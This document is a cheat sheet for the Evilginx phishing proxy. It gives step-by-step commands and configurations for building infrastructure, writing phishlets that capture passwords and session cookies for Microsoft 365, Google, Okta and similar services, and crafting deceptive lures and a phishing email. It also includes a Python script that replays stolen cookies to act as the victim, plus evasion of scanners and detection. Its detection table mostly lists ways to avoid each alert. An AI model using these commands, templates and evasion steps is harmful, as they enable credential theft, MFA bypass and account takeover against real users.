Evilginx

The Evilginx cheat sheet covers reverse proxy phishing setup, phishlet configuration, custom phishlet development, lure creation, session capture, OPSEC hardening, GoPhish integration (v3.3+), and v2 vs v3 breaking changes.

#Quick Reference

#First Captured Session (Speed Run)

# 1. Build and start
git clone https://github.com/kgretzky/evilginx2 && cd evilginx2
go build -o evilginx main.go
sudo ./evilginx -p ./phishlets/

# 2. Inside the Evilginx console - configure domain and IP
config domain phish.example.com
config ipv4 external 1.2.3.4

# 3. Assign hostname and enable phishlet (triggers ACME cert request)
phishlets hostname o365 login.phish.example.com
phishlets enable o365

# 4. Create lure and get phishing URL
lures create o365
lures edit 0 redirect_url https://office.com
lures edit 0 og_title "Microsoft 365 - Sign In"
lures get-url 0

# 5. Wait for victim - then review captured session
sessions
sessions 0

#Infrastructure Setup Flow

Infrastructure Setup Flow

Click any step for details and commands.

#JWT Decoder

JWT Decoder

#Installation

#Build from Source

# Prerequisites
apt update && apt install golang-go git make -y

# Clone the repo (main branch = latest stable 3.x)
git clone https://github.com/kgretzky/evilginx2
cd evilginx2

# Build
go build -o evilginx main.go
# or
make

# Run (needs root - binds ports 53, 80, 443)
sudo ./evilginx

# Run with custom dirs
sudo ./evilginx -p /opt/phishlets/ -c /opt/evilginx/

# Developer mode (self-signed certs, no ACME)
sudo ./evilginx -developer

# Attach GoPhish DB for campaign tracking (evilgophish fork only)
sudo ./evilginx -g /path/to/gophish.db
# Official v3.3+ uses: config gophish admin_url / api_key instead

#Startup Flags

Flag Description
-p <dir> Custom phishlets directory
-c <dir> Custom config/data directory
-developer Self-signed certs, no ACME
-debug Enable verbose debug output
-g <db> Path to GoPhish SQLite DB (evilgophish fork only, not official)
-t <dir> Custom redirectors directory
-h Show help

#Configuration

#Config Commands

Command Description
config Show all current config values
config domain <domain> Set root phishing domain
config ipv4 external <ip> Set public IPv4 address
config ipv4 bind <ip> Set bind address (default: all)
config unauth_url <url> Redirect unauthorized visitors (v3 name)
config wildcards <true\|false> Enable wildcard cert (Pro)
config autocert off Disable ACME - use custom certs
config gophish admin_url <url> GoPhish admin URL (v3.3+)
config gophish api_key <key> GoPhish API key (v3.3+)
config gophish test Test GoPhish connection (v3.3+)
config gophish insecure <true\|false> Accept invalid TLS cert (v3.3+)
config gophish submit_credentials <true\|false> Send captured creds to GoPhish (v3.3+)
config gophish hash_passwords <true\|false> Hash passwords before sending (v3.3+)

#Initial Setup Sequence

# Evilginx console - run these in order

# 1. Set domain and IP
config domain phish.example.com
config ipv4 external 203.0.113.10

# 2. Redirect all unauthenticated / non-lure requests
config unauth_url https://microsoft.com

# 3. (Optional) Connect GoPhish - v3.3+
config gophish admin_url https://127.0.0.1:3333
config gophish insecure true    # if GoPhish uses self-signed cert
config gophish api_key abc123yourapikey
config gophish test

# 4. (Optional) Use custom TLS cert instead of ACME
config autocert off
# Place certs at: ~/.evilginx/crt/sites/login.phish.example.com/
#   fullchain.pem  (or site.crt)
#   privkey.pem    (or site.key)

#VPS & Infrastructure

#DNS Records Required

; Minimum DNS records for Evilginx
; Replace 203.0.113.10 with your VPS IP

@        A      203.0.113.10   ; root domain
*        A      203.0.113.10   ; wildcard - catches all phishlet subdomains
mail     A      203.0.113.10   ; optional - mail server
@        MX     10 mail.phish.example.com.

; Email auth records (improve deliverability / avoid spam filters)
@        TXT    "v=spf1 ip4:203.0.113.10 ~all"
_dmarc   TXT    "v=DMARC1; p=quarantine; rua=mailto:[email protected]"
; DKIM: generate with opendkim-genkey, add selector._domainkey TXT record

#VPS & Domain Selection

Factor Recommendation
VPS providers Vultr, Hetzner, DigitalOcean, Contabo, OVH
OS Ubuntu 22.04 LTS (most tested)
Minimum spec 1 vCPU, 1 GB RAM, 20 GB disk
Domain age 1+ years preferred - fresh domains get flagged faster
Domain source Expired domains via expireddomains.net
Avoid Domains previously used for spam / hosting malware
Registrar Namecheap, Porkbun, Dynadot (privacy protection)
Domain checks VirusTotal, URLscan.io, Bluecoat, McAfee SiteAdvisor, FortiGuard
ASN Avoid ASNs flagged in aalex954/evilginx2-TTPs IP blacklist

#Firewall Setup

# UFW - open only required ports
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp    # SSH - restrict to your IP in production
ufw allow 53/tcp    # DNS (Evilginx built-in DNS server)
ufw allow 53/udp
ufw allow 80/tcp    # HTTP (ACME challenge + redirect)
ufw allow 443/tcp   # HTTPS (phishing proxy)
ufw enable

# Harden SSH
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd

#Domain Reputation Workflow

1. Register domain
2. Check categorization:
   - https://sitereview.bluecoat.com
   - https://www.urlvoid.com
   - https://www.virustotal.com/gui/domain/
   - https://urlscan.io
   - https://www.fortiguard.com/webfilter
3. If categorized as "Uncategorized" - submit as "Business" or "Technology"
4. Wait 24-48h for propagation
5. Re-verify before campaign launch
6. Check DNS history: viewdns.info/iphistory
7. Verify no CT log exposure of phishlet subdomains yet

#Phishlets

#Phishlet Commands

Command Description
phishlets List all phishlets and their status
phishlets <name> Show phishlet config detail
phishlets hostname <name> <hostname> Assign phishing hostname
phishlets enable <name> Enable + request TLS cert via ACME
phishlets disable <name> Disable phishlet
phishlets hide <name> Hide from direct access - serve unauth_url
phishlets unhide <name> Re-expose phishlet pages
phishlets unauth_url <name> <url> Per-phishlet unauthorized redirect (v3)
phishlets unauth_url <name> "" Clear per-phishlet redirect
phishlets get-hosts <name> Print /etc/hosts entries for dev testing
phishlets create <name> <child> <k=v>... Create child phishlet from template
phishlets delete <name> Delete child phishlet

#Phishlet YAML Structure (v3.0.0)

# -------------------------------------------------------
# PHISHLET HEADER
# -------------------------------------------------------
min_ver: '3.0.0'           # minimum Evilginx version required
redirect_url: 'https://office.com'  # default post-capture redirect

# -------------------------------------------------------
# PARAMS - template variables, set per-lure or per-child phishlet
# -------------------------------------------------------
params:
  - name: 'custom_landing'      # use as {custom_landing} in fields below
    default: '/mail'
    required: false

# -------------------------------------------------------
# PROXY_HOSTS - domains to proxy and issue TLS certs for
# -------------------------------------------------------
proxy_hosts:
  - phish_sub: 'login'          # subdomain on YOUR phishing domain
    orig_sub: 'login'           # subdomain on the REAL site
    domain: 'microsoftonline.com'
    session: true               # main HTML content visible in browser URL bar
    is_landing: true            # this is where the phishing URL points
    # port: '8443'            # optional: non-standard port on target
    auto_filter: true           # auto-rewrite URLs (v3 - use this)

  - phish_sub: 'aadcdn'
    orig_sub: 'aadcdn'
    domain: 'msauthimages.net'
    session: false
    is_landing: false
    auto_filter: true

# -------------------------------------------------------
# SUB_FILTERS - manual string replacement in proxied content
# (use when auto_filter is insufficient)
# -------------------------------------------------------
sub_filters:
  - triggers_on: 'login.microsoftonline.com'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    search: 'login\.microsoftonline\.com'   # regex
    replace: '{hostname}'                    # built-in var
    mimes: ['text/html', 'application/javascript']
    redirect_only: false
    # with_params: ['client_id']            # conditional - only when param present

# Sub_filter template variables:
#   {hostname}       - current phishing hostname
#   {subdomain}      - subdomain portion of phishing hostname
#   {domain}         - domain portion (no subdomain)
#   {orig_hostname}  - original legitimate hostname
#   {orig_domain}    - original legitimate domain
#   {basedomain}     - your root phishing domain
#   {hostname_regexp}    - regex-escaped phishing hostname
#   {subdomain_regexp}   - regex-escaped subdomain
#   {domain_regexp}      - regex-escaped domain
#   {basedomain_regexp}  - regex-escaped basedomain

# -------------------------------------------------------
# AUTH_TOKENS - what to capture to consider session complete
# -------------------------------------------------------
auth_tokens:
  # --- Cookie type ---
  - domain: '.login.microsoftonline.com'
    keys:
      - 'ESTSAUTH'
      - 'ESTSAUTHPERSISTENT'
      - 'ESTSAUTHLIGHT'
      - 'buid'
      - 'fpc'
    type: 'cookie'

  # --- Body type (token in response body) ---
  - domain: 'login.microsoftonline.com'
    path: '/common/oauth2/token'            # regex
    name: 'access_token'
    search: '"access_token":"([^"]*)"'      # capture group 1 is the value
    type: 'body'

  # --- HTTP header type ---
  - domain: 'login.microsoftonline.com'
    path: '/common/oauth2/.*'
    name: 'authorization_header'
    header: 'Authorization'
    type: 'http'

# Cookie key modifiers (append to key name):
#   :regexp   - treat key as regex pattern
#   :opt      - optional token (don't block completion)
#   :always   - capture even after session complete

# -------------------------------------------------------
# CREDENTIALS - capture username and password from POST
# -------------------------------------------------------
credentials:
  username:
    key: 'login'            # POST param name (regex)
    search: '(.*)'          # capture group 1
    type: 'post'            # 'post' or 'json'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'
  custom:
    - key: 'totp'
      search: '([0-9]{6})'
      type: 'post'

# -------------------------------------------------------
# AUTH_URLS - optional: mark session complete on URL access
# -------------------------------------------------------
auth_urls:
  - '/common/oauth2/v2.0/token'    # regex - captured on POST to this path

# -------------------------------------------------------
# LOGIN - where to send victim when they land on phish URL
# -------------------------------------------------------
login:
  domain: 'login.microsoftonline.com'
  path: '/common/oauth2/authorize?response_type=code&client_id=4765445b...'

# -------------------------------------------------------
# FORCE_POST - inject/replace POST params in requests
# -------------------------------------------------------
force_post:
  - path: '/common/login'
    search:
      - key: 'login'
        search: '.'
    force:
      - key: 'flowToken'
        value: 'injected_value'
        type: 'post'

# -------------------------------------------------------
# JS_INJECT - inject JavaScript into proxied pages
# -------------------------------------------------------
js_inject:
  - trigger_domains: ['login.microsoftonline.com']
    trigger_paths:
      - '/common/oauth2/.*'
    trigger_params:          # only inject when lure has these params
      - 'client_id'
    script: |
      console.log("injected");
      // script appended before </body>

# -------------------------------------------------------
# INTERCEPT - block requests and return custom responses
# -------------------------------------------------------
intercept:
  - domain: 'login.microsoftonline.com'
    path: '/common/oauth2/v2.0/checksession'
    http_status: 200
    body: '{"session":"active"}'
    mime: 'application/json'

#Common Phishlet Targets

Target Primary Domain Key Auth Tokens Notes
Office 365 microsoftonline.com ESTSAUTH, ESTSAUTHPERSISTENT Most common target
Google Workspace accounts.google.com SID, HSID, SSID, APISID, SAPISID Multiple cookie domains
GitHub github.com user_session, __Host-user_session_same_site Check __Host- prefix cookies
LinkedIn linkedin.com li_at, JSESSIONID Also capture liap
Okta *.okta.com sid, oktaStateToken Tenant-specific subdomain
Duo duosecurity.com Varies Used as 2FA layer - capture upstream token

#Custom Phishlet: Step by Step

#Phase 1 - Reconnaissance

# 1. Browse target login flow with browser devtools open
#    Record: all domains contacted, cookies set, POST params sent

# 2. Identify all domains in the auth flow
#    Network tab -> filter by "login" or "auth"
#    Note: primary login domain, CDN domains, API domains

# 3. Capture POST request on form submit
#    Network tab -> filter by "POST" -> find credential submission
#    Record: URL path, param names (username/password fields)

# 4. Identify session cookies
#    After login: Application -> Cookies
#    Find cookies that persist across page loads
#    Test: delete one at a time, reload - which one logs you out?

# 5. Check if target uses SPA (single page app)
#    If URL doesn't change after login -> need auth_urls not just cookies

# 6. Map all subdomains in the auth flow
#    Example for Google:
#    accounts.google.com   - main login
#    www.google.com        - post-login landing
#    apis.google.com       - API calls
#    lh3.googleusercontent.com - avatars/images

#Phase 2 - Write the Phishlet

# Start with minimal viable phishlet - add complexity only as needed

min_ver: '3.0.0'
redirect_url: 'https://www.targetsite.com/dashboard'

proxy_hosts:
  # Start with just the login domain
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'targetsite.com'
    session: true
    is_landing: true
    auto_filter: true         # let auto_filter handle URL rewriting first

auth_tokens:
  - domain: '.targetsite.com'
    keys: ['session_token', 'auth_cookie']
    type: 'cookie'

credentials:
  username:
    key: 'email'              # match the actual POST param name
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'

login:
  domain: 'login.targetsite.com'
  path: '/signin'

#Phase 3 - Test the Phishlet

# Start Evilginx in developer mode (no ACME, self-signed certs)
sudo ./evilginx -developer -p ./phishlets/

# In Evilginx console - get /etc/hosts entries for local testing
phishlets hostname mytarget login.phish.local
phishlets get-hosts mytarget
# Output: 127.0.0.1 login.phish.local

# Add output to /etc/hosts on your test machine
echo "127.0.0.1 login.phish.local" >> /etc/hosts

# Enable phishlet
phishlets enable mytarget

# Create and get lure URL
lures create mytarget
lures get-url 0

# Open URL in browser (accept self-signed cert warning)
# Watch Evilginx console output for proxy activity
# Check what gets captured: sessions

# Common issues:
# - Blank page: missing proxy_hosts entry for a loaded domain
# - Redirect loop: phishlet login path conflicts with lure path
# - No tokens: wrong cookie domain or key name
# - No credentials: wrong POST param key name

# Debug tip: watch the raw request log
# Enable -debug flag and watch for domains not being proxied

#Lures

#Lure Commands

Command Description
lures create <phishlet> Create new lure
lures List all lures
lures <id> Show lure details
lures delete <id> Delete lure
lures delete all Delete all lures
lures get-url <id> Get phishing URL
lures get-url <id> import <file> export <out> <fmt> Bulk URL generation
lures pause <id> <duration> Pause lure (e.g. 1d2h3m, 30m)
lures unpause <id> Unpause lure

#Lure Edit Parameters

Parameter Command Description
hostname lures edit 0 hostname login.phish.example.com Override phishlet hostname
path lures edit 0 path /secure-login Custom URL path (make it look legit)
redirect_url lures edit 0 redirect_url https://office.com Post-capture redirect
ua_filter lures edit 0 ua_filter Mobile\|Android Block non-matching user-agents
redirector lures edit 0 redirector mypage HTML redirector dir
og_title lures edit 0 og_title "Sign In - Microsoft 365" Social preview title
og_desc lures edit 0 og_desc "Secure document shared with you" Social preview description
og_image lures edit 0 og_image https://cdn.example.com/preview.jpg Social preview image URL
og_url lures edit 0 og_url https://login.phish.example.com Canonical URL shown in preview
phishlet lures edit 0 phishlet gmail Change which phishlet this lure uses
info lures edit 0 info "Target: ACME Corp HR" Operator notes (not shown to victim)

#Social Engineering Pretext Examples

# O365 document share pretext
lures edit 0 og_title "ACME Corp - Q4 Financial Report.xlsx"
lures edit 0 og_desc "Peter shared a document with you. Sign in to view."
lures edit 0 og_image https://upload.wikimedia.org/wikipedia/commons/thumb/4/4f/Microsoft_Office_2013-2019_logo.png/200px-Microsoft_Office_2013-2019_logo.png
lures edit 0 redirect_url https://www.office.com/

# IT password reset pretext
lures edit 0 og_title "Action Required: Your Microsoft Account Password Expires in 24h"
lures edit 0 og_desc "Update your credentials before access is suspended."
lures edit 0 path /it-helpdesk/password-reset

# LinkedIn job offer pretext
lures edit 0 og_title "You have a new connection request"
lures edit 0 og_desc "Sarah Mitchell (Senior Recruiter at Google) wants to connect"
lures edit 0 og_image https://static.licdn.com/aero-v1/sc/h/bfm2v37eoef9d9u4wblk4a2s

# Mobile-only targeting
lures edit 0 ua_filter "Mobile|Android|iPhone|iPad|iPod"

#Session Commands

Command Description
sessions List all captured sessions
sessions <id> Show session detail + JSON cookies
sessions delete <id> Delete session
sessions delete <range> Delete range e.g. 1-7 or 10-12
sessions delete all Wipe all sessions
# Step 1: From Evilginx console - copy token JSON
sessions 0
# Copy the JSON block from the "tokens" field

# Step 2: Clear existing site cookies in browser
# Chrome: chrome://settings/siteData -> Remove All
# Firefox: about:preferences#privacy -> Clear Data

# Step 3: Install a cookie import extension
# Chrome: "Cookie-Editor" or "EditThisCookie"
# Firefox: "Cookie-Editor" (Firefox version)

# Step 4: Navigate to the legitimate site domain first
# e.g. https://login.microsoftonline.com

# Step 5: Click extension -> Import -> paste JSON -> confirm

# Step 6: Refresh page - you should be authenticated as victim
#!/usr/bin/env python3
# Use captured Evilginx cookie JSON with Python requests

import requests
import json

# Paste the token JSON from: sessions <id>
# The JSON format from Evilginx:
token_json = [
    {"path": "/", "domain": ".login.microsoftonline.com",
     "expirationDate": 1700000000, "name": "ESTSAUTH", "value": "YOUR_VALUE"},
    {"path": "/", "domain": ".login.microsoftonline.com",
     "expirationDate": 1700000000, "name": "ESTSAUTHPERSISTENT", "value": "YOUR_VALUE"},
]

# Convert to requests-compatible dict
session = requests.Session()
for cookie in token_json:
    session.cookies.set(
        cookie['name'],
        cookie['value'],
        domain=cookie['domain'].lstrip('.'),
        path=cookie.get('path', '/')
    )

# Access protected resource
r = session.get("https://portal.office.com/")
print(r.status_code, r.url)

# Or use with curl (Netscape format)
# Convert to Netscape:
def to_netscape(cookies):
    lines = ["# Netscape HTTP Cookie File"]
    for c in cookies:
        http_only = "TRUE" if c.get('httpOnly') else "FALSE"
        secure = "TRUE" if c.get('secure') else "FALSE"
        lines.append(
            f"{c['domain']}\t{http_only}\t{c['path']}\t"
            f"{secure}\t{c.get('expirationDate',0)}\t{c['name']}\t{c['value']}"
        )
    return "\n".join(lines)

with open("/tmp/captured.txt", "w") as f:
    f.write(to_netscape(token_json))
# curl --cookie-jar /tmp/new.txt --cookie /tmp/captured.txt https://portal.office.com/

#Outbound Proxy

Command Description
proxy Show current proxy config
proxy type <type> Set type: http, https, socks5, socks5h
proxy address <addr> Proxy server address
proxy port <port> Proxy server port
proxy username <user> Auth username
proxy password <pass> Auth password
proxy enable Enable outbound proxy
proxy disable Disable outbound proxy

Route reverse-proxy requests through different IPs or debug traffic through Burp Suite. Restart Evilginx after enable/disable.

#Operational Security

#Blacklist & Traffic Filtering

# Evilginx console - blacklist mode
# Modes: all (block all), unauth (block unauthorized), noadd (block but don't add IPs), off (disable)
blacklist                        # show current blacklist config
blacklist all                    # block AND blacklist ALL requests (including valid lure URLs!)
blacklist unauth                 # block unauthorized only (default mode)
blacklist noadd                  # block but don't add new IPs
blacklist off                    # ignore stored IP blacklist (still blocks unauthorized)
blacklist log on                 # enable blacklist logging
blacklist log off                # disable blacklist logging

# Blacklist file location:
# ~/.evilginx/blacklist.txt
# Supports single IPs and CIDR masks:
#   192.168.1.1
#   10.0.0.0/8
# NOTE: blacklist.txt is only loaded at startup - restart after edits

# User-agent filter per lure (regex whitelist - non-matching = unauth redirect)
lures edit 0 ua_filter "Windows NT|Macintosh|Linux x86_64"
# Block mobile scanners
lures edit 0 ua_filter "^Mozilla.*Windows NT"

# Country whitelist (requires MaxMind GeoLite2-City.mmdb)
# NOTE: This feature is from an unmerged community PR (#868) - not in official evilginx.
# It may be available in some forks. Verify before relying on it.
# File: ~/.evilginx/country_whitelist.txt
# Format: one ISO country code per line
echo "US" > ~/.evilginx/country_whitelist.txt
echo "GB" >> ~/.evilginx/country_whitelist.txt
echo "DE" >> ~/.evilginx/country_whitelist.txt

# Microsoft EOP / security scanner IP blocklist (community maintained)
# https://github.com/aalex954/evilginx2-TTPs
# Pre-populated blacklist.txt with known security scanner IPs

#Cloudflare Turnstile Redirector

Official redirector template (in repo at redirectors/turnstile/). Not documented on help.evilginx.com but present in official GitHub. Turnstile acts as a bot filter before the phishing page. Bots/scanners fail the challenge and never reach evilginx. Two implementations exist:

# === OFFICIAL EVILGINX (client-side only) ===

# 1. Create Turnstile widget in Cloudflare dashboard
#    - Add site -> set domain to your phishing domain
#    - Widget type: Invisible (no user interaction)
#    - Copy Site Key

# 2. Edit redirectors/turnstile/index.html
#    Replace placeholder: 1x00000000000000000000BB -> your_site_key

# 3. Set lure to use the redirector
lures edit 0 redirector /turnstile

# Available template variables in redirector HTML:
#   {lure_url_js}    - lure URL for JS (window.location.assign)
#   {lure_url_html}  - lure URL for HTML href
#   {from_name}      - sender name (GoPhish integration)
#   {from_email}     - sender email (GoPhish integration)
#   {filename}       - download filename (download_example redirector)

# Flow: click -> Turnstile (invisible) -> pass -> lure URL
#        No server-side validation (client-side callback only)

# === EVILGOPHISH (full server-side validation) ===

# Uses both public (site) key AND private (secret) key
# Turnstile HTTP server runs on port 80
# Server-side token validation via Cloudflare API
# Failed challenges -> 403 page (customizable template)
# See: https://github.com/fin3ss3g0d/evilgophish

#Evilginx Behind Nginx Reverse Proxy

# /etc/nginx/sites-available/evilginx-proxy
# Run Nginx on 443, forward to Evilginx on 8443
# Benefits: TLS fingerprint obfuscation, Cloudflare-compatible, access logging

server {
    listen 443 ssl http2;
    server_name *.phish.example.com;

    ssl_certificate     /etc/letsencrypt/live/phish.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/phish.example.com/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;

    # Block known scanner user-agents before they reach Evilginx
    if ($http_user_agent ~* "(Googlebot|bingbot|YandexBot|DotBot|SemrushBot|AhrefsBot|MJ12bot|zgrab|masscan|Nuclei|Shodan|censys|ZmEu)") {
        return 301 https://microsoft.com;
    }

    location / {
        proxy_pass https://127.0.0.1:8443;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_ssl_verify off;
        proxy_connect_timeout 10;
        proxy_read_timeout 60;
    }
}

server {
    listen 80;
    server_name *.phish.example.com;
    return 301 https://$host$request_uri;
}

#Evilginx with Cloudflare

Step Action Detail
1 Get certs first Run ACME cert request BEFORE enabling Cloudflare proxy
2 Add DNS in Cloudflare A record * -> VPS IP, proxy OFF (grey cloud) initially
3 Enable Evilginx phishlets enable o365 - cert request succeeds with grey cloud
4 Enable proxy Set Cloudflare DNS to proxied (orange cloud)
5 SSL mode Cloudflare SSL/TLS -> set to Full (not Flexible) - Flexible breaks it
6 Config autocert config autocert off - prevent Evilginx ACME conflicts
7 Verify origin IP Confirm VPS IP not exposed in DNS history / CT logs
Benefit Bot filtering Cloudflare blocks many automated scanners before they hit Evilginx
Benefit JA3 obfuscation Cloudflare terminates TLS - hides Evilginx JA3/JA3S fingerprint
Benefit CT log protection Wildcard cert + Cloudflare = no per-phishlet hostname in CT logs

#OPSEC Hardening Checklist

# 1. Remove Evilginx header signature from source (before building)
# Edit: core/http_proxy.go
# Find and remove/randomize: X-Evilginx header injection

# 2. Hide phishlets from direct access
phishlets hide o365

# 3. Use non-default lure path length
lures edit 0 path /verify/identity/secure     # not the default 8-char random

# 4. Set realistic redirect after capture
lures edit 0 redirect_url https://www.office.com/

# 5. Check Certificate Transparency exposure
# https://crt.sh/?q=%.phish.example.com
# If phishlet subdomains appear - consider wildcard cert (Pro) or Cloudflare

# 6. Verify your IP is not in known phishing infrastructure lists
# https://github.com/aalex954/evilginx2-TTPs

# 7. Pre-campaign domain validation
curl -s "https://www.virustotal.com/vtapi/v2/domain/report?apikey=KEY&domain=phish.example.com"
curl -s "https://urlscan.io/api/v1/search/?q=domain:phish.example.com"

# 8. GoPhish signature removal (if using GoPhish)
# Edit: config/config.go -> ServerName = "RANDOMSTRING"
# Edit: controllers/api/util.go -> remove X-Gophish-Contact header

# 9. Use a redirector HTML page as lure buffer
# Lure -> HTML redirector (hosted elsewhere) -> Evilginx
# Breaks direct URL scanning chain

# 10. Monitor for your domain in threat intel
# https://urlhaus.abuse.ch
# https://openphish.com

#GoPhish + Evilginx Integration

#Native Integration (v3.3+)

# NOTE: config gophish commands are documented in the Evilginx 3.3 blog
# but not in the official community docs. Verify availability in your build.

# Architecture:
# GoPhish (port 3333 admin, 8080 internal) -> sends emails with Evilginx lure URLs
# Evilginx (port 443) -> proxies target site, captures tokens
# Evilginx notifies GoPhish on: email open, link click, session capture

# 1. Install GoPhish
# Check latest version at: https://github.com/gophish/gophish/releases
wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
unzip gophish-*.zip && chmod +x gophish
# Edit config.json: change admin_server.listen_url to 127.0.0.1:3333
./gophish &

# 2. Start Evilginx with GoPhish DB path
sudo ./evilginx -g /path/to/gophish.db

# 3. Connect in Evilginx console
config gophish admin_url https://127.0.0.1:3333
config gophish insecure true    # if GoPhish uses self-signed cert
config gophish api_key <api_key_from_gophish_ui>
config gophish test     # should return success

# 4. In GoPhish UI:
#    - Create Sending Profile (SMTP config)
#    - Create Email Template (use {{.URL}} as the link href)
#    - Create Target Group (upload CSV of targets)
#    - Create Campaign -> paste Evilginx lure URL in "Evilginx Lure URL" field
#    - GoPhish auto-appends tracking params (fname, lname, email, rid)
#    - No Landing Page needed - Evilginx handles proxying

# 5. GoPhish tracks:
#    Email Sent / Opened / Link Clicked / Data Submitted (= session captured)

#evilgophish (Community Fork)

# github.com/fin3ss3g0d/evilgophish
# Adds: Cloudflare Turnstile bot challenge, SMS phishing (Twilio),
#       QR code generation, GoPhish UI showing captured JSON tokens

git clone https://github.com/fin3ss3g0d/evilgophish
cd evilgophish

# Setup script parameters:
# ./setup.sh <root-domain> "<evilginx-subdomains>" <proxy-root?> <feed?> <rid-name>
./setup.sh phish.example.com "login mail" true false "client_id"
# This:
#   - Configures Nginx as reverse proxy
#   - Sets up GoPhish on internal ports only
#   - Patches GoPhish signatures
#   - Starts Evilginx3 with integration

# Start GoPhish (internal only)
cd gophish && ./gophish &

# Start Evilginx3
cd evilginx3 && sudo ./evilginx3 -g ../gophish/gophish.db

# Access GoPhish admin: https://phish.example.com:3333

#GoPhish Email Template for Evilginx

<!-- Email template in GoPhish -->
<!-- {{.URL}} is replaced by GoPhish with the tracking URL -->
<!-- The tracking URL redirects to your Evilginx lure URL -->

Subject: Action Required: Verify Your Microsoft 365 Account

<html>
<body style="font-family: Calibri, sans-serif;">
<p>Dear {{.FirstName}},</p>
<p>Your Microsoft 365 account requires immediate verification.
   Failure to verify within 24 hours will result in account suspension.</p>
<p>
  <a href="{{.URL}}"
     style="background:#0078d4;color:white;padding:10px 20px;
            text-decoration:none;border-radius:3px;">
    Verify Account Now
  </a>
</p>
<p>Microsoft Account Team</p>
</body>
</html>

#Detection & Blue Team Indicators

#What Generates Alerts

Indicator Source Evasion
8-char random lure path /<xxxxxxxx> Web proxy / SEG URL pattern match Use custom lure path
New domain + LetsEncrypt cert same day TLS CT log monitoring Buy aged domain, use wildcard cert (Pro)
Phishlet subdomains in CT logs Automated CT scanning Cloudflare proxy, wildcard cert
login. subdomain on non-Microsoft domain Web proxy categorization Use generic subdomain names
X-Evilginx HTTP header Proxy / NGFW header inspection Patch source and rebuild
VPS/datacenter ASN in Azure/AAD sign-in logs Azure Identity Protection / SIEM Residential proxy egress for session use
Session used from different geo than auth Impossible travel alert Match victim's geo for session replay
MFA device added post-compromise SOC behavioral alert Slow down - wait before persistence
Duplicate sign-in + immediate MFA add Azure AD risky sign-in Use stolen session for read-only recon first
GoPhish X-Gophish-Contact header Email gateway header inspection Patch GoPhish source
GoPhish default gophish ServerName TLS cert / banner grab Patch config.go ServerName
HTML <title>Gophish in landing pages SEG HTML analysis Customize all templates

#Azure / Entra Sign-in Log Artifacts

Artifacts visible in Azure Sign-in Logs after successful AiTM:

1. UserAgent mismatch between phishing proxy and session replay
   -> Use victim's exact UA string for session replay

2. Sign-in from datacenter IP (Evilginx VPS)
   -> Move session use to residential IP

3. "Unfamiliar sign-in properties" risk event
   -> Triggered by new IP + new device fingerprint

4. Token issued to proxy, then replayed from different IP
   -> Azure Continuous Access Evaluation (CAE) can detect this
   -> CAE checks IP binding on tokens for some apps

5. Auth-flow anomaly: user hits login page 0 times but
   token appears (proxy intercept visible in some SIEM configs)

Detection rules (Sentinel KQL):
SigninLogs
| where RiskLevelDuringSignIn == "high"
| where IPAddress !in (known_corp_ranges)
| where AuthenticationDetails contains "MFA"
| project TimeGenerated, UserPrincipalName, IPAddress,
          AppDisplayName, RiskEventTypes

#Complete Workflow Reference

#MFA Bypass - Full Sequence

# 1. INFRASTRUCTURE
# Provision VPS (Vultr/Hetzner), assign static IP
sudo ufw allow 53/udp && sudo ufw allow 53/tcp
sudo ufw allow 80/tcp && sudo ufw allow 443/tcp

# 2. DOMAIN
# Register aged domain, set DNS records:
# A @ -> VPS_IP | A * -> VPS_IP | SPF/DKIM/DMARC
# Check reputation: VirusTotal, Bluecoat, URLscan.io

# 3. EVILGINX SETUP
sudo ./evilginx -p ./phishlets/
config domain phish.example.com
config ipv4 external <VPS_IP>
config unauth_url https://microsoft.com

# 4. PHISHLET
phishlets hostname o365 login.phish.example.com
phishlets enable o365              # triggers ACME cert (wait 30-60s)
phishlets hide o365                # hide from non-lure access

# 5. LURE
lures create o365
lures edit 0 og_title "Verify Your Account"
lures edit 0 og_desc "IT Security: Identity verification required"
lures edit 0 redirect_url https://office.com
lures get-url 0                    # copy the phishing URL

# 6. DELIVER
# Send URL via GoPhish campaign, Teams message, or SMS

# 7. CAPTURE
sessions                           # wait for victim to authenticate
sessions 0                         # view captured session + cookies

# 8. IMPORT
# Browser: Cookie-Editor extension -> delete cookies -> import JSON
# Navigate to target app -> authenticated as victim, MFA bypassed

#All Commands Quick Reference

Category Command Description
Config config Show all config
config domain <d> Set phishing domain
config ipv4 external <ip> Set public IP
config ipv4 bind <ip> Set bind IP
config unauth_url <url> Redirect non-lure visitors
config wildcards true Enable wildcard certs (Pro)
config autocert off Disable ACME
config gophish admin_url <u> GoPhish URL
config gophish api_key <k> GoPhish API key
config gophish test Test GoPhish link
Phishlets phishlets List all phishlets
phishlets <name> Show phishlet detail
phishlets hostname <n> <h> Set hostname
phishlets enable <name> Enable + ACME cert
phishlets disable <name> Disable
phishlets hide <name> Hide from non-lure
phishlets unhide <name> Unhide
phishlets unauth_url <n> <u> Per-phishlet redirect
phishlets get-hosts <name> Dev /etc/hosts entries
Lures lures List all lures
lures create <phishlet> Create lure
lures <id> Show lure detail
lures get-url <id> Get phishing URL
lures delete <id> Delete lure
lures delete all Delete all
lures pause <id> <dur> Pause lure
lures unpause <id> Unpause
lures edit <id> path <p> Set URL path
lures edit <id> redirect_url <u> Post-capture redirect
lures edit <id> ua_filter <re> UA regex whitelist
lures edit <id> og_title <t> Social preview title
lures edit <id> og_desc <d> Social preview desc
lures edit <id> og_image <u> Social preview image
lures edit <id> og_url <u> Social preview URL
lures edit <id> info <note> Operator notes
Sessions sessions List all sessions
sessions <id> Show detail + cookies JSON
sessions delete <id> Delete session
sessions delete all Wipe all sessions
Blacklist blacklist Show blacklist config
blacklist all Block AND blacklist ALL requests (including valid lure URLs!)
blacklist unauth Block unauthorized only (default mode)
blacklist noadd Block but don't add new IPs
blacklist off Ignore stored IP blacklist (still blocks unauthorized)
blacklist log on Enable blacklist logging
